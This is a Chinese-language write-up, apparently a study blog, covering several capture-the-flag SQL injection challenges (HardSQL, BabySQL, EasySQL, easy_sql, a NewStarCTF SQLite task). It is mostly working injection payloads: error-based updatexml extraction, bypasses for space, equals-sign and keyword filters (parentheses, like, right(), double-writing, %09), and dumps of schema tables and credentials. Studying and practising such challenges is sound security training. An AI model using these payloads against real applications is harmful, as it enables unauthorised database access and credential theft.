sql注入一些赛题
一些sql赛题复现
[极客大挑战 2019]HardSQL 1
测试
admin’ 1
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘1’’ at line 1
—>单引号闭合
admin’# 1
NO,Wrong username password!!!
1’ or ‘1’=’1 1万能密码
你可别被我逮住了,臭弟弟
—>可能万能密码中的一些字符被过滤啥的
测试被禁用的字段
接下来一个个测试
= 1
你可别被我逮住了,臭弟弟
—> =被过滤,
admin 1’ or
之前单独测试过1’和or都没问题
现在这个测试你可别被我逮住了,臭弟弟—>应该是空格被过滤了
这被卡的这么死该怎么办
看了看别人的博客
万能密码
1 | 1'or((1)like(1))# |
**((1)like(1))**:始终返回 True(因为 1 LIKE 1 恒成立)
**#**:注释符
测试
1’or((1)like(1))# 1
Login Success!!
之前出现了报错信息,想着可能是报错注入
回顾一下之前学的报错注入的知识
一共有三个可以利用的报错函数
extractValue,updatexml,floor
1’or(updatexml(1,concat(‘~’,(select database())),3))# 1
又失败—–》噢噢噢有空格不好意思
1’or(updatexml(1,concat(‘~’,(database())),3))#
这里直接不用加select,就刚好没有空格了,拿到库名

拿表名
1 | 1' or updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) --+ |
这个空格太多了
看到一个师傅写的
1 | 1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))# |
都拿括号括起来就好了

继续拿字段名
1 | 1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='H4rDsq1'),0x7e),1))# |
这个也不行,因为有等号。看别人这个还是用了,直接用like替换
like替换等号
1 | 1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))# |

得到三个字段:id、username、password
1 | 1'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1)),0x7e),1))# |

在password里面
1 | 1'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),1))# |

还是没拿完,想到报错注入有字符显示

flag{195cef51-4bce-4cea-a5b3-a9
1 | 1'or(updatexml(1,substring((concat(0x7e,(select(group_concat(password))from(H4rDsq1))),25,50)),1))# |
我豆啊,服了,又不行了,substring被禁了!!!!!!!!!!!
气死我把
搞得我还得回去看博客
使用right()突破字符限制
学到一个新知识:substring,substr被禁用,可以使用right
1 | 1'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))# |

1 |

flag{fbe1c922-30fa-4e8c-87ba-b345cde2ea57}
又学到一个函数
right()

[极客大挑战 2019]BabySQL
test

应该是单引号闭合

1 | 1' or '1'='1 |

万能密码也不管用了
试试注入点
order by group by
1 | 1' order by 3 # |
or被删了,怪不得万能密码没用呢,想到应该是某种函数strepleace啥的直接正则匹配给我换成空格了

绕过替换,用重写绕过试试,又来用我的万能密码了
1 | 1' oorr '1'='1 |
还是不对,
这里又试试了注入密码里面看看,发现成功登录
1 | 1' oorr '1'='1 |

1 | 1 |
这by也会被替换,所以这俩都得重写,ok,现在已经测出查询字段有3个

看看,回显位
1 | 1 |
经过测试,发现,select和union也被替换了,只能这样写了,2,3都可以回显

1 | 1' ununionion selselectect 1,database(),3# |

1 | 1 |
又开始报错了,怀疑还是什么东西被替换了,我圈着的地方是没问题的,没被替换的
(关键命令采用双写进行绕过)


1 | 1 |
一个个测试测试
1 | 1' uunionnion sselectelect 1,2,group_concat(table_name) ffromrom infoorrmation_schema.tables wwherehere table_schema=database()# |
反正这样就成功了
Hello 2!
Your password is ‘b4bsql,geekuser’
1 | 1' uniunionon selselectect 1,2,(selselectect group_concat(column_name) frfromom infoorrmation_schema.columns whewherere table_name='b4bsql')--+ 列名id,username,password |

1 | 1' uunionnion sselectelect 1,2,group_concat(id,username,passwoorrd) ffromrom b4bsql# |
flag{72a7ec69-cda8-4d62-b3ba-e0a7dcb02062}
严重语法错误,注意!!!!!!!!!

1 | 1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- - |
[极客大挑战 2019]EasySQL
判断闭合方式
转义字符
方法一:使用(转义字符)来判断SQL注入的闭合方式
原理:当闭合字符遇到转义字符时,会被转义,那么没有闭合符的语句就不完整了,就会报错,通过报错信息我们就可以推断出闭合符。


万能密码直接flag
1 | admin' or 1=1 # |
1 | admin' or 1=1 # |

buuctf-[SUCTF 2019]EasySQL 1
堆叠注入

堆叠注入触发的条件很苛刻,因为堆叠注入原理就是通过结束符同时执行多条sql语句,这就需要服
务器在访问数据端时使用的是可同时执行多条sql语句的方法,比如php中mysqli_multi_query()函数,这个函数在支持同时执行多条sql语句,而与之对应的mysqli_query()函数一次只能执行一条sql语句,所以要想目标存在堆叠注入,在目标主机没有对堆叠注入进行黑名单过滤的情况下必须存在类似于mysqli_multi_query()这样的函数,简单总结下来就是
目标存在sql注入漏洞
目标未对”;”号进行过滤
目标中间层查询数据库信息时可同时执行多条sql语句
[SWPUCTF 2021 新生赛]easy_sql
利用转义字符判断闭合方式-单引号闭合

select查询的列数–3列

数据库名

表名
1 | ?wllm=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+ |

test_tb
列名
1 | ?wllm=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'--+ |
1 | ?wllm=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='test_tb'--+ |
发现有flag这一列在test_tb表里面

看一下test_tb这个表的flag列的内容
1 | ?wllm=-1' union select 1,2,group_concat(flag) from test_tb--+ |
ok出了
newstarctf
发现’ “ # –+ /**/,空格,都被过滤了
不给我留后路啊这是
1 | 1\ |
数据库错误: Unable to prepare statement
“prepare statement” 指预处理语句
or可以用||进行绕过。
用%00绕过注释符#、-- 的过滤
空格%09绕过

1 | -1 union select * from ((select 1)a join (select sqlite_version())b join (select 3)c join (select 4)d join (select 5)e) |
查版本号,确认是SQLite,,sqlite_version()
1 | -1%09union%09select%09*%09from%09((select%091)a%09join%09(select%09sqlite_version())b%09join%09(select%093)c%09join%09(select%094)d%09join%09(select%095)e) |
SQLite 数据库表结构、创建语句。sqlite_master
1 | -1 union select * from ((select 1)a join (select sql from sqlite_master)b join (select 3)c join (select 4)d join (select 5)e) |
1 | -1%09union%09select%09*%09from%09((select%091)a%09join%09(select%09sql%09from%09sqlite_master)b%09join%09(select%093)c%09join%09(select%094)d%09join%09(select%095)e) |
分析一下查出来的表

读取 sys_config 表的所有数据
1 | -1%09union%09select%09*%09from%09((select%091)a%09join%09(select%09config_value%09from%09sys_config)b%09join%09(select%093)c%09join%09(select%094)d%09join%09(select%095)e) |

在 MySQL 中同样可以直接查询数据库表结构,但其依赖的系统表和查询方式与 SQLite 不同
SQLite 用 sqlite_master,MySQL 用 information_schema





